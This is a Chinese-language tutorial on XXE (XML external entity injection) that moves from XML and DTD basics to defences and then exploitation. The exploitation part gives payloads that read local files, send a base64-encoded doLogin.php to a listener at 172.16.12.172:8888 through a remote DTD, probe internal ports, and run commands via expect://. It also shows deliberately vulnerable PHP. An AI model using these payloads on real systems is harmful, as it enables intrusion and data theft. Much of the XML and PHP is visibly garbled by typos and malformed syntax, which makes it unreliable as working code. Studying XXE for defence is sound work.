XXE XML外部實體注入 漏洞
0x00 XML 基礎知識
ⅩML 介紹
-
XML 是 The Extensible Markup Language(可擴充套件標識語言)的簡寫。
-
XML最初的目的是彌補 HTML 的不足,後來逐漸用於網路資料的轉換和描述 ,XML 的設計宗旨是傳輸資料
-
XML在 web 中的應用已十分廣泛。XML 是各種應用程式之間資料傳輸 最常用的資料格式。
與 HTML 的區別:
-
XML 被設計用來傳輸和儲存資料,其焦點是資料的內容。
-
HTML 被設計用來顯示資料,其焦點是資料的外觀。
-
HTML 旨在顯示資訊 ,而 XML 旨在傳輸資訊
XML實體介紹
-
什麼是XML實體
-
在一個甚至多個XML文件中頻繁使用某一條資料,我們可以預先定義一個這條資料的“別名”,即一個 ENTITY ,然後在這些文件中需要該資料的地方呼叫它。根據實體的來源我們可以分為內部實體和外部實體。XML定義了兩種型別的 ENTITY,一種在XML文件中使用,另一種作為引數在DTD檔案中使用。定義好的 ENTITY在文件中通過"&實體名;"來使用。
-
可以把實體當作xml語言的變數
-
XML實體型別有兩種:普通實體 和 引數實體
- XML實體的語法
<!DOCTYPE根元素 [<!ENTITY內部普通實體名 "實體所代表的字串">]> <!DOCTYPE根元素 [<!ENTITY外部普通實體名 SYSTEM "外部實體的UR|">]> <!DOCTYPE根元素 [<!ENTITY % 內部引數實體名 "實體所代表的字串">]> <!DOCTYPE根元素 [<!ENTITY % 外部引數實體名 SYSTEN "外部實體的URL">]>
DTD文件介紹
-
概述
-
DTD使資料格式之間按照相同的標準 來傳輸。
-
DTD是一種XML約束模式 語言,用來解釋XML文件 。
-
DTD型別:分為內部DTD文件和外部DTD文件
-
DTD文件的語法結構:
-
內部 DTD文件的語法結構:<!DOCTYPE根元素 [定義內容]>
- 外部 DTD文件的語法結構:<!DOCTYPE根元素 SYSTEM "DTD檔案路徑">
- 新建一個DTD文件 outdid.dtd
- 新建一個XML文件 outdid.xml
- 內外 DTD文件結合的語法結構:
- 新建一個DTD文件 out2dtd.dtd
- 新建一個DTD文件 out2dtd.xml
XML支援的協議
XML 實體引用
- 普通實體引入外部實體:
- 引數實體引入外部實體:
XML實體定義總結
<?xml version='1.0' encoding='utf-8'?> //標識(可要可無)
<!DOCTYPE bbb SYSTEM "dtd文件路徑"[
<!ELEMENT name (#PCDATA)> //內部dtd文件
<!ELEMENT age (#PCDATA)>
<!ENTITY xxe SYSTEM "file:///c:/windows/win.in">
<!ENTITY abc "hello word!"> //內部普通實體定義
<!ENTITY % b "abcd"> //內部引數實體定義
<!ENEITY c SYSTEM "路徑"> //外部普通實體宣告
%b
]>
<aaa>
<asd>&xxe;</asd>
<age>&b;</age>
<sex>&c;</sex>
<a>&xxe;</a>
</aaa>
//區分內部還是外部實體呼叫看有沒有SYSTEM 有SYSTEM關鍵字一定是外部呼叫
//普通實體外部呼叫
<!DOCTYPE aa [
<!ENTITY a SYSTEM "檔案路徑(可以是普通路徑也可以是URL)">]>
<a>&a;</a> //只有呼叫實體才會發生檔案讀取
0x01 XXE 漏洞原理
XXE概述
- XXE漏洞也叫XML外部實體注入 ,XXE漏洞發生在應用程式解析XML輸入 時,沒有禁止外部實體的載入 ,導致可載入惡意外部檔案
漏洞的產生
- 對上傳的xml檔案沒有進行過濾 ,導致可上傳惡意xml檔案
0x02 XXE 漏洞危害
漏洞的危害
-
讀取任意檔案
-
執行系統命令
-
內網埠掃描
-
攻擊內網其他網站
0x03 XXE 漏洞防禦
-
禁止使用外部實體 ,例如 libxml_disable_entity_loader(true)
-
過濾 使用者提交的XML資料 ,防止出現非法內容
0x04 XXE 漏洞利用
- 讀取任意檔案
<?xml version="1.0" encoding="urf-8">
<!DOCTYPE note[!ENTITY xxe SYSTEM "file:///c:windows/win.ini"]>
<name>&xxe;</name>
<!DOCTYPE note[!ENTITY xxe SYSTEM 'php://filter/read=convert.base64-encode/resource="檔案路徑"']>
外帶資料 ** 讀取任意檔案**
- 監聽8888埠
// payload
<?xml version="1.0" encoding="urf-8">
<!DOCTYPE note[!ENTITY xxe SYSTEM "http://172.16.12.172:8888/xxe.dtd"]>
<name>&send;</name>
// 遠端xxe.dtd檔案
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
<!ENTITY % int "<!ENTITY send SYSTEM 'http://172.16.12.172:8888/?data=%data;'>">
%int;
- 遠端埠探測
- (主機存活掃描)根據頁面延遲 banner資訊 (不準)
<?xml version="1.0" encoding="urf-8">
<!DOCTYPE note[!ENTITY xxe SYSTEM "http://ip:探測埠號/test"]>
<name>&xxe;</name>
- 遠端命令執行
-
有些情況下攻擊者能夠通過XXE執行程式碼,這主要是由於配置不當/開發內部應用 導致的。
-
前提:PHP環境中安裝了expect擴充套件
-
payload:
<?xml version="1.0" encoding="urf-8">
<!DOCTYPE note [<!ENTITY xxe SYSTEM "expect://系統命令">]>
<name>&xxe;</name>
漏洞程式碼分析
- 服務端程式碼分析
<?php
if(!empty($_POST['sub'])){
$data = $_POST['data']:
$xmL = simp_lexml_load_string(data); //XML解析函式
print($xm1);
}
?>
- simplexml_load_string() 函式的作用是把XML字串載入物件中,函式獲取xml內容,並沒有進行任何的過濾 。
0x05 XXE 漏洞挖掘
- 判斷當前網頁資料傳輸是否使用xml語言
-
看content-type:application/xml
-
看請求體是否滿足xml格式資料
- 直接加外部實體看他是否會解析
注:一定要有呼叫的過程,定義好的實體不去呼叫檔案讀取的步驟就是無效的